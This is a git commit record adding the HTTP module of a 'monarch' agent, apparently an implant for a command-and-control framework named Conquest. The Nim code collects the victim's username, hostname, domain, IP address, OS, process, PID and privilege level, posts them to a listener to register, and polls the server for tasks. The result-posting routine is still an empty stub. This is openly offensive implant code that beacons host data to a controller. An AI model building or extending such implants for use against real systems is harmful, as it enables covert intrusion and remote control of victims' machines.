Added monarch agent

This commit is contained in:
Jakob Friedl
2025-05-19 21:56:34 +02:00
parent 0a98d11df2
commit c55a9f9443
10 changed files with 215 additions and 12 deletions

54
agents/monarch/http.nim Normal file
View File

@@ -0,0 +1,54 @@
import httpclient, json, strformat, asyncdispatch
import ./[types, agentinfo]
proc register*(listener: string): string =
let client = newAsyncHttpClient()
# Define headers
client.headers = newHttpHeaders({ "Content-Type": "application/json" })
# Create registration payload
let body = %*{
"username": getUsername(),
"hostname":getHostname(),
"domain": getDomain(),
"ip": getIPv4Address(),
"os": getOSVersion(),
"process": getProcessExe(),
"pid": getProcessId(),
"elevated": isElevated()
}
echo $body
try:
# Register agent to the Conquest server
let responseBody = waitFor client.postContent(fmt"http://localhost:5555/{listener}/register", $body)
return responseBody
except HttpRequestError as err:
echo "Registration failed"
quit(0)
finally:
client.close()
proc getTasks*(listener: string, agent: string): seq[Task] =
let client = newAsyncHttpClient()
try:
# Register agent to the Conquest server
let responseBody = waitFor client.getContent(fmt"http://localhost:5555/{listener}/{agent}/tasks")
echo responseBody
except HttpRequestError as err:
echo "Not found"
quit(0)
finally:
client.close()
return @[]
proc postResults*(listener: string, agent: string, results: string) =
discard